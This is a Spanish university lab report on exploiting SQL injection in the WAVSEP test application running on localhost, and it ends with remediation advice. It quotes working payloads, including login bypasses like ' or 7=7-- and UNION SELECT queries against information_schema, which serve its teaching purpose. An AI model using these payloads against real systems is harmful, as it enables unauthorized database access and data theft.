Sei sulla pagina 1di 13

EXPLOTACIÓN DE VULNERABILIDADES SQLI

UNIVERSIDAD INTERNACIONAL DE LA RIOJA, S.A (UNIR)


SEGURIDAD EN BASES DE DATOS Y ALMACENAMIENTO DE DATOS MASIVOS
2019

TEMA 2 – Actividades © Universidad Internacional de La Rioja. (UNIR)


Contenido

1. INTRODUCCIÓN .......................................................................................................... 3
2. INSTALACIÓN DEL SERVIDOR TOMCAT ................................................................ 4
3. CASOS DE PRUEBA DE INYECCIÓN ......................................................................... 8
3.1 Para el caso 1, donde se puede evidenciar el ataque (InjectionInLogin-String-
LoginBypass-With200Errors.jsp) ................................................................................... 8
3.2 Para el caso 2, donde se puede evidenciar el ataque (InjectionInSearch-String-
UnionExploit-With200Errors.jsp) .................................................................................. 9
3.3 Para el caso 5, donde se puede evidenciar el ataque
(InjectionInSearchOrderBy-String-BinaryDeliberateRuntimeError-
With200Errors.jsp) ......................................................................................................... 11
4. CONCLUSIONES ......................................................................................................... 12

TEMA 2 – Actividades © Universidad Internacional de La Rioja. (UNIR)


1. INTRODUCCIÓN

En el siguiente apartado se instaló el Sistema Gestor de Base de Datos SGBD MYSQL,


con el objetivo principal de Explotar vulnerabilidades que afectan a sus bases de datos
y poder auditar la seguridad e implementar una guía de seguridad de la misma, con el
uso de las buenas prácticas de seguridad que se están aprendiendo en el curso enfocado
al motor de base de datos MYSQL.

Para ésta práctica, se analizará la seguridad del SGBD MYSQL haciendo uso de la
aplicación WAVSEP proporcionada en la guía, y los ataques SQLI utilizando los exploits
que se recomiendan dentro de la categoría de ataques SQLI de WAVSEP Instalación de
aplicaciones

A continuación, se explicará de manera sencilla la instalación de las aplicaciones que se


instalaron según la actividad propuesta y los manuales facilitados en la misma, con el
objetivo de realizar la explotación de los siguientes 3 casos:

Evaluation of SQLI injection detection accuracy – POST- Erroneous 200 responses:

Case01-InjectionInLogin-String-LoginBypass-With200Errors.jsp
Case02-InjectionInSearch-String-UnionExploit-With200Errors.jsp
Case05-InjectionInSearchOrderBy-String-BinaryDeliberateRuntimeError-
With200Errors.jsp

TEMA 2 – Actividades © Universidad Internacional de La Rioja. (UNIR)


2. INSTALACIÓN DEL SERVIDOR TOMCAT

Verificación correcta del apache-tomcat-7.0.91

Instalación MySQL Community


Server 5.5.62

TEMA 2 – Actividades © Universidad Internacional de La Rioja. (UNIR)


Password: 0606
Mostrar bases de datos creadas

Inicie el script de instalación:

Configuración correcta.

TEMA 2 – Actividades © Universidad Internacional de La Rioja. (UNIR)


Acceda a la aplicación en: http://localhost:8080/wavsep/

Se accede a los ejemplos de vulnerabilidad de aplicación web activa en:


http://localhost:8080/wavsep/active/index-main.jsp

Las páginas en esta sección solo deben contener vulnerabilidades detectables por
escáneres pasivos.

Para realizar la explotación de los siguientes 3 casos, según la actividad propuesta por
el docente, se acceder al siguiente enlace, que es en donde se encuentra el *.jsp
referenciado:

TEMA 2 – Actividades © Universidad Internacional de La Rioja. (UNIR)


http://localhost:8080/wavsep/active/SQL-Injection/SInjection-Detection-Evaluation-
POST-200Error/index.jsp

TEMA 2 – Actividades © Universidad Internacional de La Rioja. (UNIR)


3. CASOS DE PRUEBA DE INYECCIÓN

3.1 Para el caso 1, donde se puede evidenciar el ataque


(InjectionInLogin-String-LoginBypass-With200Errors.jsp)
Inyección en valores de cadena en el alcance de una consulta dentro de una página de
inicio de sesión con respuestas erróneas.

En este tipo de caso, lo que se refleja es la manera de vulnerar inyectando caracteres en


los campos de nombre de usuario y contraseña, como se puede evidenciar en los
siguientes exploit.

Exploit (both input fields): 'or'7'='7


Independent Exploit 1: ' or 7=7--
Independent Exploit 2: ' or 7=7#
Independent Exploit 3: ' or 7=7/*

En cada caso del método de ataque, se puede visualizar que los Exploit mencionados en
el apartado funciona correctamente para la respectiva inyección.

TEMA 2 – Actividades © Universidad Internacional de La Rioja. (UNIR)


En el caso del Independent Exploit 3: ' or 7=7/* no funciona correctamente, como se
puede evidenciar en la siguiente figura.

3.2Para el caso 2, donde se puede evidenciar el ataque


(InjectionInSearch-String-UnionExploit-With200Errors.jsp)

Inyección en valores de cadena en el alcance de una consulta dentro de una página de


búsqueda con respuestas erróneas.

En este tipo de caso, lo que se refleja es la manera de vulnerar inyectando una sentencia
en SQL como es la Union y conservando la estructura del mensaje de los caracteres en
el campo designado para el mensaje, como se puede evidenciar en los siguientes
exploit.

TEMA 2 – Actividades © Universidad Internacional de La Rioja. (UNIR)


' UNION SELECT [int], [string], [string] FROM [table] [comment mark][space]
Exploit: 'or'7'='7
MSSQL Exploit: ' UNION SELECT id, name, 'jfks' FROM sysobjects--
MySQL Exploit: ' UNION SELECT 1, table_name, 'jfks' FROM
information_schema.tables--
MySQL Exploit (No Comments): ' UNION SELECT 1, table_name, 'jfks' FROM
information_schema.tables WHERE table_name like'%
Se introduce los parámetros ' UNION SELECT 1, table_name, 'jfks' FROM
information_schema.tables-- y se pede evidenciar que genera un error de sintaxis,
por lo tanto, no se puede acceder a la base de datos.

Los parámetros correctos ' UNION SELECT 1, table_name, 'jfks' FROM


information_schema.tables WHERE table_name like'% y se puede evidenciar
el acceso a la tabla con las columnas de Título y mensaje.

TEMA 2 – Actividades © Universidad Internacional de La Rioja. (UNIR)


Las medidas de corrección pueden ser:
• Desactivar lógicamente los errores que se muestren en pantalla.
• Usar consultas parametrizadas.
• Utilizar herramientas como SQLMap o GreenSQL.

3.3Para el caso 5, donde se puede evidenciar el ataque


(InjectionInSearchOrderBy-String-BinaryDeliberateRuntimeError-
With200Errors.jsp)

Inyección en una cláusula orden por en el alcance de una consulta dentro de una página
de búsqueda con respuestas erróneas que tiene que ver con sentencias de tipo order by.

A single result in the subquery (or none) will not cause a runtime exception, more will
MSSQL Exploit: (SELECT 1 FROM sysobjects WHERE name like'sysusers')--
MySQL Exploit (No Comments): (SELECT 1 FROM information_schema.`TABLES`
WHERE TABLE_NAME like'FILES')

Se hace uso de la sentencia (SELECT 1 FROM sysobjects WHERE name like'sysusers')--


según los exploit para la respectiva inyección para vulnerar la base de datos.

TEMA 2 – Actividades © Universidad Internacional de La Rioja. (UNIR)


Arroja un error de sintaxis, por ente, no se puede acceder a la base de datos.

Se hace uso de la sentencia (SELECT 1 FROM information_schema.`TABLES`


WHERE TABLE_NAME like'FILES') según los exploit para la respectiva inyección para
vulnerar la base de datos.

A lo anterior, se puede acceder a la base de datos y poder obtener información.

Las medidas de corrección pueden ser:


• Desactivar lógicamente los errores que se muestren en pantalla.
• Usar consultas parametrizadas.
• Utilizar herramientas como SQLMap o GreenSQL.

4. CONCLUSIONES

• Es importante conocer el funcionamiento de la aplicación WAVSEP y su papel


para encontrar las diferentes vulnerabilidades de las bases de datos y la
información que presenta la misma para la posible vulnerabilidad.

• En la actualidad, estos tipos de ataque son muy frecuente, de tal forma, que se
puede acceder a la información de las bases de datos mediante texto o
sentencias por parte del usuario para extraer datos sensibles y cumplir el
objetivo de las personas.

TEMA 2 – Actividades © Universidad Internacional de La Rioja. (UNIR)


• Es indispensable que el recurso humano de las empresas tengan la experiencia,
el conocimiento de programar y administrar las bases de datos en cuanto a la
seguridad para mitigar dichas vulnerabilidades.

• En las empresas u organizaciones, se debe aplicar correctamente el proceso de


Ciclo de vida de desarrollo seguro en las diferentes aplicaciones para conseguir
minimizar las vulnerabilidades.

TEMA 2 – Actividades © Universidad Internacional de La Rioja. (UNIR)

Potrebbero piacerti anche